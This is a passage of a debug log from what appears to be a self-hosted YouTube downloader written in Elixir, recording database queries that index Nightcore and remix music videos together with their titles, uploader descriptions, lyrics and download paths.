(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The song is 'Finish me' from newgrounds by Atomika (AtomicInc)\r\n\r\nthe link is: http://www.newgrounds.com/audio/listen/90035", "Trance - Finish Me", "4967defe-aeee-4ec2-9290-4fd810254ab0", false, "q3XN_fcbTtA", 154, false, "https://www.youtube.com/watch?v=q3XN_fcbTtA", 16, "/downloads/Nightcore/Nightcore/2008-08-03Trance - Finish Me[q3XN_fcbTtA].m4a", false, false, 1, [], 1, ~U[2008-08-03 23:22:17Z], ~U[2026-07-24 02:23:26Z], ~U[2026-07-24 02:23:26Z], "The song is 'Finish me' from newgrounds by Atomika (AtomicInc)\r\n\r\nthe link is: http://www.newgrounds.com/audio/listen/90035", "Trance - Finish Me", "q3XN_fcbTtA", 154, false, "https://www.youtube.com/watch?v=q3XN_fcbTtA", "/downloads/Nightcore/Nightcore/2008-08-03Trance - Finish Me[q3XN_fcbTtA].m4a", false, 1, ~U[2008-08-03 23:22:17Z]] 22:23:26.608 [debug] QUERY OK source="sources" db=0.3ms idle=149.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:26.609 [debug] QUERY OK source="media_items" db=0.3ms idle=148.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2011-07-10 22:38:52Z], 1] 22:23:26.773 [debug] QUERY OK source="media_items" db=163.6ms idle=148.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Time for an awesome new #NIGHTCORE track, When You Leave! As always, lyrics are shown onscreen 😉 Please leave a like, comment, and if you really enjoyed it, please subscribe! 😊\n\nMusic: Alina - When You Leave (Numa Numa) (Basshunter Radio Edit)\n\nSupport the artists:\n- iTunes: http://bit.ly/19r57Qt\n- Amazon: http://amzn.to/1byvOnO\n- Beatport: http://btprt.dj/17NhORr\n\nListen to all songs on my channel, non-stop, 24/7:\nhttps://www.youtube.com/maikel6311/live\n\nJoin #Maikel6311's Nightcore community on Discord:\nhttp://discord.gg/ppdeQgk\n\nCheck out my NIGHTCORE videos:\nhttps://www.youtube.com/watch?v=d7lbQZsOYxM&list=PL4A1B368254439740\n\nCheck out my TRANCE videos:\nhttps://www.youtube.com/watch?v=Fl2FQ7qIIsg&list=PL77D8FE68A35A932A\n\nAll my playlists can be found here:\nhttps://www.youtube.com/user/Maikel6311/playlists\n\nFollow my channel on Facebook:\nhttp://fb.me/Maikel6311\n\nCheck out my channel's Twitter feed:\nhttps://twitter.com/Maikel631\n\nWant to request a song? Shoot me a message on Soundcloud:\nhttps://soundcloud.com/Maikel631\n\nSupport my channel using Patreon:\nhttp://patreon.com/Maikel6311\n\nImage Link: http://bit.ly/18Hil8N", "Nightcore - When You Leave (Numa Numa)", "f8793daf-3313-43e2-ba69-7afaf0ced15c", false, "KmDQuwJWs84", 160, false, "https://www.youtube.com/watch?v=KmDQuwJWs84", 17, "/downloads/Nightcore/Nightcore/2011-07-10Nightcore - When You Leave (Numa Numa)[KmDQuwJWs84].m4a", false, false, 1, [], 1, ~U[2011-07-10 22:38:52Z], ~U[2026-07-24 02:23:26Z], ~U[2026-07-24 02:23:26Z], "Time for an awesome new #NIGHTCORE track, When You Leave! As always, lyrics are shown onscreen 😉 Please leave a like, comment, and if you really enjoyed it, please subscribe! 😊\n\nMusic: Alina - When You Leave (Numa Numa) (Basshunter Radio Edit)\n\nSupport the artists:\n- iTunes: http://bit.ly/19r57Qt\n- Amazon: http://amzn.to/1byvOnO\n- Beatport: http://btprt.dj/17NhORr\n\nListen to all songs on my channel, non-stop, 24/7:\nhttps://www.youtube.com/maikel6311/live\n\nJoin #Maikel6311's Nightcore community on Discord:\nhttp://discord.gg/ppdeQgk\n\nCheck out my NIGHTCORE videos:\nhttps://www.youtube.com/watch?v=d7lbQZsOYxM&list=PL4A1B368254439740\n\nCheck out my TRANCE videos:\nhttps://www.youtube.com/watch?v=Fl2FQ7qIIsg&list=PL77D8FE68A35A932A\n\nAll my playlists can be found here:\nhttps://www.youtube.com/user/Maikel6311/playlists\n\nFollow my channel on Facebook:\nhttp://fb.me/Maikel6311\n\nCheck out my channel's Twitter feed:\nhttps://twitter.com/Maikel631\n\nWant to request a song? Shoot me a message on Soundcloud:\nhttps://soundcloud.com/Maikel631\n\nSupport my channel using Patreon:\nhttp://patreon.com/Maikel6311\n\nImage Link: http://bit.ly/18Hil8N", "Nightcore - When You Leave (Numa Numa)", "KmDQuwJWs84", 160, false, "https://www.youtube.com/watch?v=KmDQuwJWs84", "/downloads/Nightcore/Nightcore/2011-07-10Nightcore - When You Leave (Numa Numa)[KmDQuwJWs84].m4a", false, 1, ~U[2011-07-10 22:38:52Z]] 22:23:26.774 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=165.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:26.775 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=166.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2009-07-07 20:02:04Z], 1] 22:23:26.941 [debug] QUERY OK source="media_items" db=165.3ms idle=166.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Heres Nightcore With the song Dam Dadi Do+Lycris\r\n\r\nDam dadi doo dam dam didoodi dam (4x)\r\n\r\nWhen the morning come come\r\nI'm dancing like you're dumb dumb\r\nAnd when the groove is high\r\nwhen dummies jump to sky\r\n\r\nif you feel the groove groove\r\nthe dummies have to move move\r\ncan you feel the beat the beat the beat\r\n\r\nYou never tell me what is wrong \r\n'cause now it's time to be alone\r\nlet me love you everyday \r\nso long you let the dummies play\r\n\r\ndance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (4x)\r\n\r\nDance dance to the beat\r\n\r\nThey tell me let's come home home\r\nThe party going on on\r\nWe only have to dance\r\nDo dummies fall the trance\r\n\r\nIf you feel the groove groove\r\nThe dummies have to move move\r\nCan you feel the beat the beat the beat\r\n\r\nYou never tell me whatis wrong\r\n'cause now it's time to be alone\r\nLet me love you everyday\r\nSo long you let the dummies play\r\n\r\nDance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (8x)\r\n\r\nNever tell me what is wrong\r\nLet me love you everyday\r\n\r\nDam dadi doo dam dam didoodidam (4x)", "Nightcore - Dam Dadi Do", "b9c2eeef-5e3b-43f7-83cc-7edb49b89edc", false, "6SCQyBcHeDg", 165, false, "https://www.youtube.com/watch?v=6SCQyBcHeDg", 18, "/downloads/Nightcore/Nightcore/2009-07-07Nightcore - Dam Dadi Do[6SCQyBcHeDg].m4a", false, false, 1, [], 1, ~U[2009-07-07 20:02:04Z], ~U[2026-07-24 02:23:26Z], ~U[2026-07-24 02:23:26Z], "Heres Nightcore With the song Dam Dadi Do+Lycris\r\n\r\nDam dadi doo dam dam didoodi dam (4x)\r\n\r\nWhen the morning come come\r\nI'm dancing like you're dumb dumb\r\nAnd when the groove is high\r\nwhen dummies jump to sky\r\n\r\nif you feel the groove groove\r\nthe dummies have to move move\r\ncan you feel the beat the beat the beat\r\n\r\nYou never tell me what is wrong \r\n'cause now it's time to be alone\r\nlet me love you everyday \r\nso long you let the dummies play\r\n\r\ndance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (4x)\r\n\r\nDance dance to the beat\r\n\r\nThey tell me let's come home home\r\nThe party going on on\r\nWe only have to dance\r\nDo dummies fall the trance\r\n\r\nIf you feel the groove groove\r\nThe dummies have to move move\r\nCan you feel the beat the beat the beat\r\n\r\nYou never tell me whatis wrong\r\n'cause now it's time to be alone\r\nLet me love you everyday\r\nSo long you let the dummies play\r\n\r\nDance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (8x)\r\n\r\nNever tell me what is wrong\r\nLet me love you everyday\r\n\r\nDam dadi doo dam dam didoodidam (4x)", "Nightcore - Dam Dadi Do", "6SCQyBcHeDg", 165, false, "https://www.youtube.com/watch?v=6SCQyBcHeDg", "/downloads/Nightcore/Nightcore/2009-07-07Nightcore - Dam Dadi Do[6SCQyBcHeDg].m4a", false, 1, ~U[2009-07-07 20:02:04Z]] 22:23:26.942 [debug] QUERY OK source="sources" db=0.2ms idle=168.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:26.942 [debug] QUERY OK source="media_items" db=0.1ms idle=167.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-19 09:30:06Z], 1] 22:23:27.117 [debug] QUERY OK source="media_items" db=174.5ms idle=167.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["「ポケモン feat. 初音ミク VOLTAGE Live!」\n\nhttps://www.project-voltage.jp/live2026/\n2026/3/20(金・祝)〜22(日) LaLa arena TOKYO-BAY\n\nKanariaです。\n\nMusic / Kanaria\nLyrics / Kanaria / Project VOLTAGE\n・https://x.com/Kanaria390\n\nIllustration / LAM\n・https://x.com/ramdayo1122\n \n配信 https://karent.jp/album/4267\n\noffvocal https://www.project-voltage.jp/music.html#mv20\n\nポケモン feat. 初音ミク Project VOLTAGE 18 Types/Songs\n\nhttps://www.project-voltage.jp/\nhttps://x.com/PokeMikuVOLTAGE\n\n©2024 Pokémon. ©1995-2024 Nintendo/Creatures Inc./GAME FREAK inc.\n©Crypton Future Media, INC.\n\n#kanaria #チャンピオン #ポケミク", "【初音ミク】チャンピオン【Kanaria】", "e704d83a-7f1a-4e7d-bcd4-f4a66405c6ad", false, "VxjledMkwyk", 137, false, "https://www.youtube.com/watch?v=VxjledMkwyk", 19, "/downloads/Nightcore/Nightcore/2024-07-19【初音ミク】チャンピオン【Kanaria】[VxjledMkwyk].m4a", false, false, 1, [], 1, ~U[2024-07-19 09:30:06Z], ~U[2026-07-24 02:23:26Z], ~U[2026-07-24 02:23:26Z], "「ポケモン feat. 初音ミク VOLTAGE Live!」\n\nhttps://www.project-voltage.jp/live2026/\n2026/3/20(金・祝)〜22(日) LaLa arena TOKYO-BAY\n\nKanariaです。\n\nMusic / Kanaria\nLyrics / Kanaria / Project VOLTAGE\n・https://x.com/Kanaria390\n\nIllustration / LAM\n・https://x.com/ramdayo1122\n \n配信 https://karent.jp/album/4267\n\noffvocal https://www.project-voltage.jp/music.html#mv20\n\nポケモン feat. 初音ミク Project VOLTAGE 18 Types/Songs\n\nhttps://www.project-voltage.jp/\nhttps://x.com/PokeMikuVOLTAGE\n\n©2024 Pokémon. ©1995-2024 Nintendo/Creatures Inc./GAME FREAK inc.\n©Crypton Future Media, INC.\n\n#kanaria #チャンピオン #ポケミク", "【初音ミク】チャンピオン【Kanaria】", "VxjledMkwyk", 137, false, "https://www.youtube.com/watch?v=VxjledMkwyk", "/downloads/Nightcore/Nightcore/2024-07-19【初音ミク】チャンピオン【Kanaria】[VxjledMkwyk].m4a", false, 1, ~U[2024-07-19 09:30:06Z]] 22:23:27.117 [debug] QUERY OK source="sources" db=0.2ms idle=176.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:27.118 [debug] QUERY OK source="media_items" db=0.2ms idle=175.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 15:00:04Z], 1] 22:23:27.309 [debug] QUERY OK source="media_items" db=190.5ms idle=175.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "Memories And Reality", "80e115fb-f3b5-42ba-a582-66f26eee0421", false, "1J6hTtr4dYg", 308, false, "https://www.youtube.com/watch?v=1J6hTtr4dYg", 20, "/downloads/Nightcore/Nightcore/2026-03-27Memories And Reality[1J6hTtr4dYg].m4a", false, false, 1, [], 1, ~U[2026-03-27 15:00:04Z], ~U[2026-07-24 02:23:27Z], ~U[2026-07-24 02:23:27Z], "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "Memories And Reality", "1J6hTtr4dYg", 308, false, "https://www.youtube.com/watch?v=1J6hTtr4dYg", "/downloads/Nightcore/Nightcore/2026-03-27Memories And Reality[1J6hTtr4dYg].m4a", false, 1, ~U[2026-03-27 15:00:04Z]] 22:23:27.310 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=192.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:27.310 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=192.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2007-01-07 18:54:11Z], 1] 22:23:27.423 [debug] QUERY OK source="media_items" db=112.4ms idle=193.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Song by Dcx remixed original avalible at um...forgot anyways here's the credits happy? [insert bad word here] face", "Trance-Flying High", "9b17c880-2c75-4fb8-9121-ff180290cf16", false, "Ool4gyrJpM0", 177, false, "https://www.youtube.com/watch?v=Ool4gyrJpM0", 21, "/downloads/Nightcore/Nightcore/2007-01-07Trance-Flying High[Ool4gyrJpM0].m4a", false, false, 1, [], 1, ~U[2007-01-07 18:54:11Z], ~U[2026-07-24 02:23:27Z], ~U[2026-07-24 02:23:27Z], "Song by Dcx remixed original avalible at um...forgot anyways here's the credits happy? [insert bad word here] face", "Trance-Flying High", "Ool4gyrJpM0", 177, false, "https://www.youtube.com/watch?v=Ool4gyrJpM0", "/downloads/Nightcore/Nightcore/2007-01-07Trance-Flying High[Ool4gyrJpM0].m4a", false, 1, ~U[2007-01-07 18:54:11Z]] 22:23:27.424 [debug] QUERY OK source="sources" db=0.3ms idle=114.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:27.424 [debug] QUERY OK source="media_items" db=0.2ms idle=113.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-13 12:32:08Z], 1] 22:23:27.568 [debug] QUERY OK source="media_items" db=143.1ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["teteteteteto\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Soy4jGPHr3g?si=_Meag7MsaWpkymqj\n. \n› Follow me on various platforms: https://imojist.carrd.co\n.\n#tetoris #kasaneteto #eurobeat #remix #music #synthv", "TETORIS // Eurobeat Remix - Hiiragi Magnetite & Kasane Teto", "5c323a66-9631-4f18-bb99-a2b09cf92891", false, "pjD-8_yVknk", 215, false, "https://www.youtube.com/watch?v=pjD-8_yVknk", 22, "/downloads/Nightcore/Nightcore/2025-03-13TETORIS ⧸⧸ Eurobeat Remix - Hiiragi Magnetite & Kasane Teto[pjD-8_yVknk].m4a", false, false, 1, [], 1, ~U[2025-03-13 12:32:08Z], ~U[2026-07-24 02:23:27Z], ~U[2026-07-24 02:23:27Z], "teteteteteto\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Soy4jGPHr3g?si=_Meag7MsaWpkymqj\n. \n› Follow me on various platforms: https://imojist.carrd.co\n.\n#tetoris #kasaneteto #eurobeat #remix #music #synthv", "TETORIS // Eurobeat Remix - Hiiragi Magnetite & Kasane Teto", "pjD-8_yVknk", 215, false, "https://www.youtube.com/watch?v=pjD-8_yVknk", "/downloads/Nightcore/Nightcore/2025-03-13TETORIS ⧸⧸ Eurobeat Remix - Hiiragi Magnetite & Kasane Teto[pjD-8_yVknk].m4a", false, 1, ~U[2025-03-13 12:32:08Z]] 22:23:27.569 [debug] QUERY OK source="sources" db=0.3ms idle=144.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:27.569 [debug] QUERY OK source="media_items" db=0.1ms idle=144.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-08-16 13:05:41Z], 1] 22:23:27.712 [debug] QUERY OK source="media_items" db=143.0ms idle=121.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Song: Wildfire\nArtists: Fatal Force & Crusher P\nImage: http://www.borongaja.com/653449-main-character-shakugan-no-shana.html", "Fatal Force & Crusher P - Wildfire (Lyrics)", "9f94cc37-4f0e-4c78-9e93-799f2cfb5d02", false, "P06woLjHbOU", 367, false, "https://www.youtube.com/watch?v=P06woLjHbOU", 23, "/downloads/Nightcore/Nightcore/2016-08-16Fatal Force & Crusher P - Wildfire (Lyrics)[P06woLjHbOU].m4a", false, false, 1, [], 1, ~U[2016-08-16 13:05:41Z], ~U[2026-07-24 02:23:27Z], ~U[2026-07-24 02:23:27Z], "Song: Wildfire\nArtists: Fatal Force & Crusher P\nImage: http://www.borongaja.com/653449-main-character-shakugan-no-shana.html", "Fatal Force & Crusher P - Wildfire (Lyrics)", "P06woLjHbOU", 367, false, "https://www.youtube.com/watch?v=P06woLjHbOU", "/downloads/Nightcore/Nightcore/2016-08-16Fatal Force & Crusher P - Wildfire (Lyrics)[P06woLjHbOU].m4a", false, 1, ~U[2016-08-16 13:05:41Z]] 22:23:27.713 [debug] QUERY OK source="sources" db=0.5ms idle=145.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:27.714 [debug] QUERY OK source="media_items" db=0.3ms idle=145.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-14 05:00:25Z], 1] 22:23:27.887 [debug] QUERY OK source="media_items" db=172.5ms idle=145.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\n0:00 - I Am Sorry, I Love You\n2:11 - Just Kill Me Already\n5:24 - Don't Hug Me, I Am Scared\n8:42 - Sometimes I worry that nothing is ever enough\n\nSpotify: 